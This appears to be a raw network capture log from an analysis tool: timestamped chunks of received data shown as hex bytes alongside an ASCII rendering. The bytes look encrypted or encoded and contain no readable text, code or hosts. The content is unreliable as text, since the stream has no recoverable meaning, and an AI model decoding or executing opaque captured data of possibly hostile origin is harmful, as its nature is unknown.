                                                                                                                                                          2021-10-28 02:47:22 UTC6INData Raw: 2e 0d 1e 0a 3d 3d 13 0a 6f 07 39 28 0c 5b 4c 44 11 72 79 63 66 1a 17 51 7a 70 77 62 08 3d 49 0a 4a 6b 71 73 76 0f 40 4c 78 65 72 7e 6f 2f 07 2c 60 66 42 4b 6e 4b 45 55 51 24 41 6a 4f 0c 6f 1c 70 5c 2a 7f 67 79 47 68 7b 72 61 30 21 7f 0a 21 7b 5a c2 99 c3 85 c3 a0 c3 92 c2 9d c2 ba c2 93 c2 b9 c2 9d c2 a2 c2 84 c3 b7 c3 84 c3 b3 c2 9b c2 b3 c2 9f c2 99 c2 95 c2 bb c2 9f c2 ae c2 90 c2 bc c2 a6 c2 94 c2 ab c3 ac c3 8a c3 a7 c2 bf c3 81 c2 b4 c2 ad c2 bc c2 83 c2 b1 c3 a2 c2 9a c2 9d c3 b7 c3 be c3 ad c2 b1 c3 9f c3 99 c2 a9 c2 9f c2 ba c2 90 c2 9c c2 89 c2 94 c2 8b c3 ab c2 af c2 be c2 9b c2 b9 c3 99 c3 a4 c2 a1 c2 be c2 9d c3 80 c3 a7 c3 8d c3 8d c3 a5 c3 be c3 83 c3 a1 c2 9f c3 a6 c3 ad c2 b3 c2 95 c3 8d c2 a7 c3 82 c3 a5 c3 9b c3 9b c3 bb c3 ae c3 a6 c2
                                                                                                                                                          Data Ascii: .==o9([LDrycfQzpwb=IJkqsv@Lxer~o/,`fBKnKEUQ$AjOop\*gyGh{ra0!!{Z
                                                                                                                                                          2021-10-28 02:47:22 UTC8INData Raw: ac c3 92 c3 b8 c3 b5 c3 b0 c3 b4 c3 ab c2 92 c2 ba c2 94 c2 a7 c2 bc c3 a5 c2 89 c2 8d c3 9a c2 90 c2 8c c3 bc c3 86 c3 8e c3 83 c3 bd c3 a8 c2 a2 c2 97 c2 bc c3 85 c3 98 c2 b0 c3 89 c3 a9 c3 85 c3 86 c3 93 c3 af c2 a8 c3 95 c3 a1 c3 bc c2 9a c2 b4 c2 87 c2 9c c3 af c3 92 c3 a6 c3 b6 c3 8a c3 be c2 a5 c3 a1 c3 a2 c3 bd c3 96 c3 9d c2 8c 60 55 17 3f 11 2c 18 27 23 4d 24 3a 22 2a 3b 76 6b 41 07 2f 27 3d 11 4e 12 27 26 0e 1b 32 21 16 54 5b 03 6e 03 7a 38 07 1b 6f 0d 6b 1a 03 75 66 54 6e 30 07 0e 1f 01 11 3c 39 62 19 06 1a 1e 47 1e 4a 4e 7e 65 67 73 1e 7a 50 40 79 1b 6a 7b 3f 26 25 46 65 65 59 5a 7b 52 67 63 6b 62 0f 79 27 02 64 61 5e 4e 3c 78 5e 24 58 56 51 77 46 50 1d 00 0b 5d 3e 51 57 5c 78 74 4a 50 49 52 5a 69 26 c3 8a c3 bb c2 a3 c3 8e c2 ae c2 80 c2 98
                                                                                                                                                          Data Ascii: `U?,'#M$:"*;vkA/'=N'&2!T[nz8okufTn0<9bGJN~egszP@yj{?&%FeeYZ{Rgckby'da^N<x^$XVQwFP]>QW\xtJPIRZi&
                                                                                                                                                          2021-10-28 02:47:22 UTC9INData Raw: 25 68 26 43 06 38 09 61 51 46 5d 7f 2b 5e 44 7b 34 56 c2 af c2 9f c3 a6 c2 83 c2 84 c3 b5 c2 bd c2 87 c3 9b c2 85 c2 a2 c2 ab c2 af c2 b6 c2 b4 c3 90 c2 b0 c2 91 c2 9a c3 96 c3 a0 c2 92 c2 a6 c2 9d c2 bd c2 80 c2 91 c2 9e c2 81 c2 82 c2 81 c2 a5 c2 87 c2 94 c3 96 c3 b8 c3 9d c2 87 c2 89 c2 a0 c2 8a c2 8d c2 9b c2 9f c2 b0 c2 91 c2 94 c2 ac c3 a7 c2 b7 c3 b4 c2 b9 c3 96 c2 b2 c2 82 c3 ac c2 81 c2 a6 c2 89 c2 bb c2 9e c2 97 c2 88 c2 b7 c3 b7 c3 b1 c2 8b c2 b7 c2 b9 c3 b3 c2 83 c3 8d c3 a9 c3 a7 c3 a1 c3 aa c3 b7 c3 9a c2 8d c3 a1 c3 af c3 a1 c2 94 c2 a0 c2 a6 c3 92 c3 ae c3 ad c3 b2 c3 95 c3 b6 c3 bf c2 9a c3 b1 c3 bc c3 b1 c3 87 c3 94 c2 96 c2 b8 c2 99 c3 a5 c3 84 c3 a2 c3 a0 c3 a6 c3 a4 c3 8a c3 97 c3 a8 c3 88 c2 b2 c3 8e c2 b3 c2 85 c2 98 c3 b6 c3 b2 c3
                                                                                                                                                          Data Ascii: %h&C8aQF]+^D{4V
                                                                                                                                                          2021-10-28 02:47:22 UTC10INData Raw: 96 c2 9d c3 a3 c2 a4 c3 9b c3 89 c3 88 c3 91 c3 98 c2 ae c3 8c c3 9b c3 ab c3 8c c3 93 c2 8d c2 b2 c3 b1 c3 ad c3 85 c3 b5 c3 9e c2 88 c3 ae c3 8d 40 3d 38 00 53 48 07 5c 71 2b 2e 0c 2e 38 57 39 32 3a 16 3d 33 20 62 66 62 3b 09 1c 32 3a 22 25 1f 1d 18 7c 14 16 2e 7a 5c 2e 1a 21 09 34 21 2a 2d 19 2b 33 13 00 4d 47 49 0a 05 01 15 31 16 1e 7b 44 67 74 11 62 3e 44 35 3e 14 40 70 39 77 03 0d 55 64 45 7e 70 1f 27 22 78 1c 4b 6e 55 7f 75 56 5d 58 7f 60 42 1e 23 0f 7c 56 7e 4e 16 4b 7b 7b 5f 40 5d 42 44 06 04 1b 7a 5a 4d 4f 74 6f 5e c2 bb c2 ab c2 b0 c3 94 c2 b0 c2 a5 c3 a4 c3 91 c3 b2 c2 a6 c2 a7 c2 a9 c2 b6 c2 93 c2 aa c2 88 c2 a3 c2 b9 c2 a0 c3 84 c2 b3 c2 a0 c3 a6 c3 a1 c3 ac c2 9e c2 ae c2 ba c2 be c2 b9 c3 86 c2 a4 c2 a4 c2 9d c2 98 c2 9c c3 b4 c2 94 c3 9f
                                                                                                                                                          Data Ascii: @=8SH\q+..8W92:=3 bfb;2:"%|.z\.!4!*-+3MGI1{Dgtb>D5>@p9wUdE~p'"xKnUuV]X`B#|V~NK{{_@]BDzZMOto^
                                                                                                                                                          2021-10-28 02:47:22 UTC12INData Raw: c2 b0 c2 ad c3 a5 c3 b2 c3 ae c2 b7 c2 a9 c2 b9 c2 9b c3 9b c2 99 c2 b2 c2 93 c2 8a c2 93 c2 a0 c2 8d c3 ae c3 9c c3 88 c2 b7 c2 b9 c2 91 c2 a1 c3 bd c3 89 c2 9d c2 b8 c2 8b c2 bd c2 a0 c2 9a c3 a4 c2 88 c3 bf c3 89 c3 89 c2 bb c2 8d c2 b4 c2 9e c3 99 c3 8e c3 89 c3 b0 c3 82 c3 be c2 9a c3 86 c3 af c2 b1 c2 a0 c2 b9 c3 8e c2 8c c3 bf c3 bc c3 9c c3 9f c3 b0 c3 a0 c3 bf c3 9e c3 b8 c3 b7 c3 84 c3 83 c2 b1 c2 af c3 9b c3 a9 c2 85 c3 a6 c3 bf c3 aa c3 80 c3 81 c3 8e c3 97 c2 bb c3 8c c2 a9 c2 bf c2 81 c2 99 c3 ae c3 a0 c3 8b c3 8a c3 8a c3 88 c3 98 c3 91 c3 9e c3 87 c3 8e c3 80 c2 b9 c2 af c2 91 c2 89 c2 82 c3 af c2 a5 39 1e 0f 23 3a 28 2c 5b 03 3f 5c 7a 75 19 1f 0b 2b 28 0c 27 2e 4f 02 21 3f 37 44 45 69 68 2a 57 79 2e 13 77 3b 08 32 0b 07 0f 7f 2f 53 11 6f
                                                                                                                                                          Data Ascii: 9#:(,[?\zu+('.O!?7DEih*Wy.w;2/So
                                                                                                                                                          2021-10-28 02:47:22 UTC13INData Raw: 76 04 27 20 0f 0d 35 44 20 3d 2c 37 34 02 7a 7d 47 2b 11 28 06 3d 2d 01 3a 72 30 2a 0c 19 56 5d 4c 02 2f 06 3f 11 11 17 74 1f 72 0f 1b 27 4d 4b 75 47 61 48 66 5d 6f 74 42 11 79 15 1f 79 3d 3e 35 7f 15 46 53 54 79 5c 6f 6f 4b 52 6d 5c 07 3b 0b 10 63 53 41 40 3d 37 7a 57 5b 40 5d 70 06 11 1d 77 45 53 51 50 44 27 72 44 43 79 24 7f 09 26 04 c2 94 c2 97 c2 86 c2 b8 c2 88 c2 ad c2 a4 c2 b4 c2 9f c2 91 c2 b2 c2 9a c2 b9 c3 b9 c3 bb c2 88 c2 94 c2 83 c2 b0 c2 b9 c2 98 c2 b9 c2 9c c2 ab c2 b1 c2 89 c2 9b c2 a8 c2 aa c3 8b c3 ae c3 a5 c2 8c c2 81 c3 b3 c2 bf c3 9f c2 85 c2 a2 c3 a5 c2 86 c2 9b c2 86 c2 9c c2 8c c3 95 c2 ad c3 9a c2 85 c2 81 c2 b8 c2 96 c2 af c2 9f c2 87 c2 84 c2 84 c2 83 c2 a3 c2 91 c3 be c3 88 c3 ad c3 bd c3 87 c3 b5 c3 a3 c3 a1 c3 a0 c3 96 c3 a7
                                                                                                                                                          Data Ascii: v' 5D =,74z}G+(=-:r0*V]L/?tr'MKuGaHf]otByy=>5FSTy\ooKRm\;cSA@=7zW[@]pwESQPD'rDCy$&
                                                                                                                                                          2021-10-28 02:47:22 UTC14INData Raw: c2 80 c2 94 c2 b3 c2 84 c2 ac c2 8a c2 bb c2 92 c2 9c c2 b0 c2 9b c2 b8 c3 ac c3 a9 c3 a7 c3 bc c3 99 c3 a8 c3 86 c2 8c c3 a3 c3 b9 c3 b4 c3 aa c3 ad c2 a4 c2 a5 c2 b7 c3 84 c3 b7 c3 ac c3 bf c3 8c c2 81 c3 93 c3 a6 c3 95 c3 a4 c3 b4 c3 b1 c3 8c c2 b4 c2 a9 c2 a6 c3 a4 c3 90 c3 87 c3 8c c3 ae c3 b8 c3 a6 c3 af c3 bd c3 9e c2 ba c3 b8 c3 be c2 8d c2 ab c2 84 c3 b1 c3 b8 c3 ba c3 9c c3 8b c3 94 c3 b3 c3 84 c3 96 c3 97 c3 be c3 a8 36 47 72 79 0f 48 37 25 2c 35 31 4a 55 38 51 2e 25 71 62 69 3b 4f 12 06 67 40 10 23 2b 37 15 30 3d 46 22 48 17 01 7d 0d 24 01 0b 10 2a 0b 73 2f 2d 46 32 48 20 09 64 36 37 15 0a 07 32 36 68 1c 5d 0a 26 14 63 61 46 6d 56 69 71 78 67 0a 73 60 65 07 21 21 56 58 74 7a 41 55 7c 6e 72 6f 09 6b 46 32 33 00 67 51 34 5f 11 51 50 58 47 66 47
                                                                                                                                                          Data Ascii: 6GryH7%,51JU8Q.%qbi;Og@#+70=F"H}$*s/-F2H d6726h]&caFmViqxgs`e!!VXtzAU|nrokF23gQ4_QPXGfG
                                                                                                                                                          2021-10-28 02:47:22 UTC16INData Raw: 61 72 7c 7d 4e 5d 48 0a 68 6c 77 73 57 70 57 60 64 49 37 4d 7e 03 64 23 72 54 3b 47 4e 35 67 58 2b 51 5c 5d 43 75 09 03 59 3d 73 5b 64 56 4f 7b 44 c2 ba c3 9f c2 a2 c2 83 c2 85 c3 9e c3 bb c2 97 c2 be c2 bb c2 96 c2 95 c2 ac c3 9f c2 b2 c2 90 c3 88 c2 96 c2 97 c2 a9 c3 b4 c3 a6 c3 a4 c2 ba c2 a8 c2 93 c2 bf c2 98 c2 a3 c2 ac c2 9b c2 b2 c2 a4 c2 8d c2 85 c2 87 c3 83 c3 85 c3 a2 c2 a3 c2 aa c2 8b c2 80 c2 a2 c3 b1 c2 9c c2 8d c2 81 c2 92 c2 9f c2 95 c2 95 c3 8c c3 b1 c3 81 c2 a0 c2 94 c2 8a c3 ba c2 b7 c2 b2 c3 b5 c2 81 c2 94 c3 94 c3 ab c3 a5 c3 b6 c2 b2 c2 ae c2 a5 c3 a3 c3 84 c3 bf c3 a2 c2 b2 c3 b4 c3 b7 c3 bd c3 ba c3 88 c3 bb c3 a4 c3 85 c2 93 c2 b5 c2 88 c3 80 c3 bc c2 83 c3 84 c2 a1 c3 a2 c3 a7 c3 bc c3 92 c3 ab c3 9b c3 b3 c2 a3 c2 94 c2 8e c2 94
                                                                                                                                                          Data Ascii: ar|}N]HhlwsWpW`dI7M~d#rT;GN5gX+Q\]CuY=s[dVO{D
                                                                                                                                                          2021-10-28 02:47:22 UTC17INData Raw: c3 89 c3 9e c2 a9 c3 98 c2 9a c3 88 c3 a1 c3 92 c3 a7 c3 82 c3 92 c3 97 c3 b7 c2 b2 c3 b5 c3 98 c2 b7 c3 ad c2 bf c3 ae c3 b9 c3 8d c3 ab c3 b2 c3 97 c2 aa c3 b6 c2 a4 c3 87 c3 81 c3 91 c3 86 c3 b4 c3 bd c2 be c3 a6 c3 a9 c2 a6 c3 a0 c3 b5 0d 18 14 2e 10 28 0d 37 0b 14 72 17 1e 57 0c 3b 14 2b 30 33 24 10 3d 39 4e 12 5f 2a 04 27 25 33 3a 08 3d 08 2d 2d 2f 2b 58 34 5e 14 17 7f 28 26 72 1e 0f 06 20 63 26 34 5e 52 59 4d 3a 08 38 36 06 15 72 76 50 12 14 62 38 23 3f 3e 68 77 64 58 5e 1d 16 0c 77 73 60 40 24 27 30 25 5e 07 42 6b 47 6a 7d 48 24 4e 52 21 1e 02 09 1f 61 5b 64 11 7e 4b 41 46 60 23 7e 33 26 38 0f 74 47 2a 52 73 c2 ae c2 bb c2 a0 c2 8e c2 84 c2 a8 c2 8d c2 b7 c2 96 c3 81 c3 a8 c2 97 c2 9e c3 97 c2 90 c2 86 c2 ae c2 b0 c2 94 c2 be c2 90 c2 b8 c2 9d c2
                                                                                                                                                          Data Ascii: .(7rW;+03$=9N_*'%3:=--/+X4^(&r c&4^RYM:86rvPb8#?>hwdX^ws`@$'0%^BkGj}H$NR!a[d~KAF`#~3&8tG*Rs
                                                                                                                                                          2021-10-28 02:47:22 UTC18INData Raw: 87 c2 bd c2 82 c2 ba c2 88 c2 86 c3 b8 c3 b9 c2 b4 c2 80 c2 bd c2 9e c2 bd c2 ae c2 b7 c2 9f c3 94 c2 a6 c2 94 c2 a3 c3 af c3 87 c3 a0 c2 8c c2 a9 c2 91 c2 a9 c2 86 c3 bb c2 96 c2 bc c2 84 c2 95 c3 bf c2 a9 c2 8c c3 9b c3 9f c3 9f c2 b2 c2 b1 c2 96 c2 8a c2 9d c2 ae c2 95 c2 aa c2 9d c3 b7 c2 93 c2 8c c2 8f c3 8d c3 97 c3 9e c3 97 c2 be c3 b5 c3 87 c3 8b c2 98 c2 88 c3 bc c3 b3 c3 93 c2 9e c3 86 c3 87 c2 97 c2 a7 c2 ae c3 87 c3 b9 c3 99 c3 b7 c3 85 c3 9d c2 8e c3 91 c3 8e c3 89 c3 ae c3 af c3 8f c2 99 c2 a4 c2 83 c3 9c c3 90 c3 a4 c3 a5 c3 97 c3 8b c2 a8 c3 90 c3 b0 c3 9a c2 b6 c3 a2 c3 9a c3 b1 c2 92 c2 91 c3 b2 c3 bd c2 aa c3 ac c3 88 c3 8d c3 8d c3 85 c3 9d c2 bd c3 9b c3 9e c3 94 c2 ad c3 a1 c3 a5 c3 8f 22 3b 39 01 28 22 3c 32 1c 49 5a 4f 6d 76 6d 2a
                                                                                                                                                          Data Ascii: ";9("<2IZOmvm*
                                                                                                                                                          2021-10-28 02:47:22 UTC20INData Raw: c2 a5 c3 a7 c3 92 c2 a2 c3 98 c3 95 c3 93 c2 a8 0b 44 33 21 3e 3e 7b 1d 3d 16 21 57 54 29 20 59 1a 16 05 27 20 07 69 3f 22 2a 2f 0f 5c 4d 5a 7e 5b 42 07 1b 0b 17 53 39 72 2c 3c 16 2b 26 1e 2d 46 50 46 01 0e 0e 49 26 0e 03 67 19 0a 1a 10 69 4b 1c 34 59 54 68 4f 4a 40 7c 64 7f 7a 7b 58 0d 20 0f 50 09 4d 6f 41 59 02 5e 71 7d 02 54 68 19 10 3f 60 3d 28 5c 71 69 32 30 43 4d 45 64 58 29 00 2f 70 34 2f 7a 6c 7a 7c 4c 54 4f 4a 4b 68 76 c3 86 c3 9f c2 80 c3 84 c2 ab c2 a2 c2 91 c2 89 c3 93 c3 8f c2 ae c2 b5 c2 9b c2 86 c2 be c2 8c c2 8d c3 a6 c2 8e c2 81 c3 8e c2 8f c2 ac c3 8c c2 a2 c2 bb c2 ba c2 ab c2 99 c2 be c2 ae c2 96 c3 b0 c3 9b c3 97 c2 81 c2 9e c2 9e c3 9f c2 bd c3 be c2 b6 c2 81 c3 aa c3 ac c2 89 c2 80 c3 b9 c2 ad c3 91 c2 8c c2 91 c2 8e c2 8e c3 94 c2
                                                                                                                                                          Data Ascii: D3!>>{=!WT) Y' i?"*/\MZ~[BS9r,<+&-FPFI&giK4YThOJ@|dz{X PMoAY^q}Th?`=(\qi20CMEdX)/p4/zlz|LTOJKhv
                                                                                                                                                          2021-10-28 02:47:22 UTC21INData Raw: bc c2 ae c2 a0 c3 b1 c3 a7 c2 9a c2 98 c2 ba c3 b9 c2 a7 c2 b2 c2 b1 c3 98 c3 97 c2 bc c2 80 c2 be c2 96 c2 b0 c3 ab c2 ba c2 87 c3 a1 c2 9a c2 89 c3 b6 c2 81 c2 80 c3 84 c2 9a c3 87 c2 81 c2 8b c3 a1 c3 9e c3 84 c2 87 c3 ad c3 9a c3 aa c3 b9 c3 a6 c2 8a c2 90 c2 a7 c2 8a c3 97 c3 99 c3 9c c3 b2 c3 96 c3 96 c3 bc c3 b8 c3 b0 c3 8a c3 b2 c3 ab c3 91 c3 bc c2 a3 c2 8e c2 9b c3 b4 c2 bd c3 b4 c3 93 c2 ba c3 a2 c3 a4 c3 86 c2 ae c3 84 c3 9f c2 b7 c2 84 c2 98 c2 97 c3 90 c3 8d c3 9c c3 8a c3 ae c3 b4 c2 b7 c3 ac c3 94 c3 99 37 30 34 55 74 5b 04 40 0d 31 1d 05 56 0a 16 3b 26 27 49 6c 64 4b 14 50 4f 3c 3f 25 2a 27 30 2b 16 17 61 2b 50 7b 24 61 7f 14 02 15 1a 17 00 13 2c 25 02 7a 3e 47 05 00 70 14 41 63 19 0d 68 67 6b 65 00 15 27 26 76 41 61 50 7e 66 65 7d 65 0b
                                                                                                                                                          Data Ascii: 704Ut[@1V;&'IldKPO<?%*'0+a+P{$a,%z>GpAchgke'&vAaP~fe}e
                                                                                                                                                          2021-10-28 02:47:22 UTC22INData Raw: 0b 39 27 33 13 04 46 44 4a 1c 27 20 1e 17 6f 15 5c 7d 78 58 68 1a 32 12 09 78 6a 41 63 77 77 44 6b 59 0e 5b 54 45 00 03 44 59 7c 68 41 52 66 78 5f 38 5e 62 52 53 06 14 0b 79 27 4c 7d 64 34 35 47 54 44 5e 5f 68 10 32 20 6a 4a 71 51 09 79 4e c2 b3 c2 ba c2 b2 c2 9a c3 90 c2 a2 c3 94 c3 bd c2 90 c2 8e c2 94 c2 99 c2 a9 c2 86 c2 ab c2 b9 c2 a3 c2 bf c2 a0 c2 bd c2 b3 c2 b2 c3 ae c3 93 c3 ac c2 8c c2 a6 c2 b0 c3 81 c2 91 c2 b5 c2 bd c2 93 c2 8f c2 99 c2 85 c2 a1 c2 82 c3 9e c3 85 c3 98 c2 a5 c3 af c2 a1 c2 8b c2 84 c2 b1 c2 a4 c2 8b c2 95 c3 b9 c2 86 c2 9b c2 a6 c2 bf c3 81 c2 bf c2 ac c2 86 c2 88 c3 a3 c2 b8 c3 a4 c2 85 c3 ba c2 81 c3 89 c3 b4 c3 b7 c2 86 c2 90 c2 a0 c2 ba c3 b5 c3 ba c3 81 c3 ab c3 ba c3 92 c3 85 c3 ba c3 84 c3 96 c3 a9 c3 b3 c3 8a c2 a2 c2
                                                                                                                                                          Data Ascii: 9'3FDJ' o\}xXh2xjAcwwDkY[TEDY|hARfx_8^bRSy'L}d45GTD^_h2 jJqQyN
                                                                                                                                                          2021-10-28 02:47:22 UTC24INData Raw: ad c3 a4 c2 bb c2 aa c2 8f c3 99 c3 b1 c3 bd c3 a1 c3 90 c3 bd c3 b7 c3 87 c3 aa c3 b0 c2 8c c3 97 c3 b4 c2 84 c3 9b c2 ac c2 ac c3 a5 c3 b0 c3 91 c3 ac c3 89 c3 85 c3 9c c3 b1 c3 9b c3 b1 c3 80 c3 89 c3 a8 c2 b1 c2 9c c2 9d c3 9b c3 8f c3 8d c3 94 c2 a9 c3 94 c3 98 c3 88 c3 8f c3 af c3 8b c3 9f c2 81 c2 98 c3 be c3 bf c3 80 c3 94 18 1f 22 13 3c 39 25 47 2d 2e 72 71 09 0a 39 2d 3a 1d 33 39 3f 2e 2c 0c 3c 46 6e 40 6b 2c 02 18 01 27 73 28 1f 20 00 00 7a 0e 52 49 2b 23 68 2f 33 2f 02 26 0f 6c 04 6b 10 0f 5a 4b 46 03 7b 11 7a 4d 6a 61 77 6b 70 42 66 6c 03 1e 2f 4a 7a 6d 7a 64 5c 7d 67 69 6c 68 7b 64 2d 1f 2b 34 53 69 62 1b 4a 55 57 70 58 70 47 74 63 0b 16 42 4d 6b 42 6a 4d 4a 5e 4b 53 4a 5c 5b 1e 0f 18 6a 5d 78 c2 a2 c2 a6 c2 bc c2 97 c2 9d c2 85 c2 b0 c2 81
                                                                                                                                                          Data Ascii: "<9%G-.rq9-:39?.,<Fn@k,'s( zRI+#h/3/&lkZKF{zMjawkpBfl/Jzmzd\}gilh{d-+4SibJUWpXpGtcBMkBjMJ^KSJ\[j]x
                                                                                                                                                          2021-10-28 02:47:22 UTC25INData Raw: 43 6c 58 76 78 5d 57 4c 7e 32 63 72 40 34 27 0e c2 87 c2 b5 c3 98 c2 b0 c2 be c2 a8 c2 b5 c2 b4 c2 a3 c2 82 c2 a3 c2 ab c3 88 c3 bd c2 84 c3 ae c2 84 c2 81 c2 b2 c2 b2 c2 8b c2 9a c2 b7 c2 88 c2 9e c2 bf c2 ad c3 8d c2 81 c3 a9 c3 b4 c2 9e c2 8c c2 82 c2 83 c2 9d c2 bb c2 85 c3 b4 c2 94 c2 86 c2 8f c2 ac c2 81 c2 a1 c2 b7 c3 b6 c2 a9 c2 b1 c2 85 c2 94 c2 99 c2 8c c2 b0 c2 94 c2 84 c2 96 c2 8b c2 97 c2 98 c2 a2 c3 99 c3 87 c3 b4 c3 95 c3 bd c3 97 c3 a4 c2 bf c3 a3 c3 82 c3 ac c3 a6 c3 ab c3 a7 c3 a0 c3 92 c2 ad c2 a9 c2 84 c2 a3 c3 b4 c2 9e c2 97 c3 ac c3 95 c3 81 c3 aa c3 b6 c3 ab c3 b7 c3 b4 c3 81 c3 94 c2 9a c2 83 c2 97 c3 96 c3 a6 c3 8a c3 a8 c3 89 c3 bc c3 9b c3 95 c3 8b c3 ac c2 bb c3 9d c2 8f c2 bf c2 9d c3 b7 c3 81 c3 b8 c3 94 c3 80 c2 b7 c3 bf c3
                                                                                                                                                          Data Ascii: ClXvx]WL~2cr@4'
                                                                                                                                                          2021-10-28 02:47:22 UTC26INData Raw: ab c3 89 c3 92 c2 aa c3 97 c3 96 c3 b4 c3 9f c3 88 c2 88 c2 b5 c2 8d c2 83 c3 82 c3 b5 c3 bc c3 bb c3 90 c3 98 c3 81 c3 bd c3 99 c2 a1 c3 91 27 79 01 66 35 35 08 20 3f 2f 03 31 2f 19 20 28 20 17 42 79 16 57 2f 2a 22 35 10 27 27 0d 1b 16 30 68 41 51 23 1a 06 09 57 37 62 1c 2a 1f 14 08 05 49 41 39 4b 16 3a 14 34 11 1b 78 1e 17 10 68 01 1c 1f 38 43 74 76 6d 4b 45 6b 58 61 49 60 18 43 24 38 01 45 47 56 7d 5b 5f 78 18 02 68 5e 71 55 14 35 11 6c 73 30 6d 67 77 48 2d 64 5a 59 40 53 27 23 01 7d 63 4c 5a 42 7c 76 41 52 4a 60 58 c2 a4 c3 93 c3 a2 c3 91 c2 80 c2 87 c2 a4 c2 ad c2 81 c3 94 c2 bf c2 a9 c2 a2 c2 af c2 a0 c2 a8 c2 b6 c3 a9 c3 96 c3 a8 c2 83 c2 b9 c2 a5 c3 97 c2 94 c2 97 c3 92 c2 a4 c2 b4 c2 89 c2 b4 c2 b8 c2 95 c3 97 c3 89 c3 80 c2 80 c2 a9 c2 93 c2 b5
                                                                                                                                                          Data Ascii: 'yf55 ?/1/ ( ByW/*"5''0hAQ#W7b*IA9K:4xh8CtvmKEkXaI`C$8EGV}[_xh^qU5ls0mgwH-dZY@S'#}cLZB|vARJ`X
                                                                                                                                                          2021-10-28 02:47:22 UTC28INData Raw: c2 b8 c2 b9 c2 b8 c2 b2 c2 96 c2 bc c2 ad c2 b4 c3 a4 c2 ac c2 93 c2 84 c3 9c c2 a6 c3 98 c2 ab c2 99 c2 8e c2 ae c2 91 c2 97 c2 a9 c2 9d c2 81 c2 86 c2 b7 c2 98 c2 9f c3 86 c3 96 c3 b2 c2 a2 c2 84 c2 b6 c2 b5 c2 8f c2 9a c2 ad c2 83 c2 83 c3 ba c3 9a c3 80 c3 8e c2 b0 c2 b4 c2 b4 c2 ae c3 9a c3 af c3 b1 c3 ae c3 bf c3 a3 c3 bd c3 a1 c3 a2 c3 bc c3 bd c3 8e c2 bd c3 94 c2 b4 c3 82 c3 a4 c3 96 c2 88 c2 a2 c3 b0 c3 94 c3 a4 c3 a2 c3 b6 c3 a9 c3 94 c3 96 c2 94 c2 96 c2 94 c3 99 c3 b6 c3 92 c3 90 c3 a7 c3 80 c3 89 c2 a8 c3 81 c3 a4 c3 9f c3 95 c3 86 c2 80 c2 ae c2 8b c3 b7 c3 94 c3 bf c2 a2 c3 b4 c3 b2 c3 9c c3 85 05 27 5e 34 46 76 00 6c 0f 3d 2a 31 15 2d 5c 3b 4f 27 14 3b 36 67 75 53 0d 25 0f 3c 67 39 04 20 0e 13 0f 08 39 6e 56 5e 09 64 13 01 32 0d 39 0b 69
                                                                                                                                                          Data Ascii: '^4Fvl=*1-\;O';6guS%<g9 9nV^d29i
                                                                                                                                                          2021-10-28 02:47:22 UTC29INData Raw: 15 12 0b 32 13 34 14 79 43 60 3a 46 19 13 36 2e 24 7f 0a 33 24 28 11 48 5f 54 5b 13 61 06 20 08 10 09 35 1f 69 37 10 44 6f 4f 4b 08 66 14 33 68 66 77 7e 53 6b 61 05 0e 2d 30 64 08 59 4e 53 70 73 17 7d 14 6f 75 70 20 1f 5e 5e 6c 47 79 40 71 40 59 6b 24 32 59 56 11 12 1d 7e 50 7d 2a 71 40 23 66 57 42 73 5c 32 79 22 05 44 22 77 52 74 c2 a8 c2 a3 c2 b1 c2 87 c2 b2 c2 ab c2 b0 c2 87 c3 8d c3 a1 c3 b0 c2 a7 c2 ac c3 9d c2 ac c3 b4 c2 b6 c2 95 c2 af c2 bd c2 a6 c2 be c2 82 c2 a1 c3 ac c3 86 c3 a7 c2 85 c2 90 c2 96 c2 bf c2 bb c3 b0 c2 a6 c2 9a c2 a5 c3 af c3 b9 c2 af c3 aa c3 ae c2 ab c3 98 c2 ac c2 93 c2 8c c2 87 c2 8b c3 a9 c2 b1 c2 a7 c2 8d c2 9e c2 b6 c2 96 c2 8a c3 8c c3 8c c3 85 c2 af c2 b0 c2 8c c2 97 c2 9b c3 bc c3 b7 c3 9b c3 bf c3 ae c2 9b c3 ae c3 b8
                                                                                                                                                          Data Ascii: 24yC`:F6.$3$(H_T[a 5i7DoOKf3hfw~Ska-0dYNSps}oup ^^lGy@q@Yk$2YV~P}*q@#fWBs\2y"D"wRt
                                                                                                                                                          2021-10-28 02:47:22 UTC30INData Raw: c2 b1 c2 a6 c2 8a c3 b2 c3 8f c3 88 c2 95 c2 87 c3 aa c3 ad c3 8e c3 ba c3 ae c3 a7 c3 ac c3 a1 c3 bf c3 b7 c3 ac c2 b3 c2 88 c2 ba c3 99 c3 a3 c3 a3 c2 95 c3 9e c3 9d c2 9c c3 aa c3 ab c3 93 c3 b2 c3 be c3 af c2 ad c2 b7 c2 be c3 ba c3 93 c2 b3 c3 85 c3 98 c3 bd c3 9e c3 96 c3 a0 c2 ad c3 89 c3 a2 c3 9a c3 a8 c3 a6 c2 b2 c3 90 c3 97 c3 9e c3 9d c3 be c3 9d c3 8d c3 85 c3 9d c2 b6 c2 a0 c2 ae c3 94 c2 ad c3 b7 c2 b8 c3 a8 27 04 2d 0c 0a 24 19 3a 2a 5f 19 07 7a 66 6d 2b 12 25 32 29 0a 2f 25 22 0c 4f 53 3d 6e 7e 5a 0a 1c 73 07 1b 7d 15 18 1a 18 17 3b 05 70 45 70 2d 3d 79 1c 3f 1c 17 05 19 0a 14 31 0b 3f 38 5e 23 52 1b 5e 3e 4a 64 59 6c 14 11 7a 65 1a 46 0b 70 48 6b 69 47 4e 46 49 7c 51 51 53 55 2a 36 3d 7b 2d 48 64 6a 3f 74 57 52 7c 3e 38 54 10 0e 0d 51 76
                                                                                                                                                          Data Ascii: '-$:*_zfm+%2)/%"OS=n~Zs};pEp-=y?1?8^#R^>JdYlzeFpHkiGNFI|QQSU*6={-Hdj?tWR|>8TQv
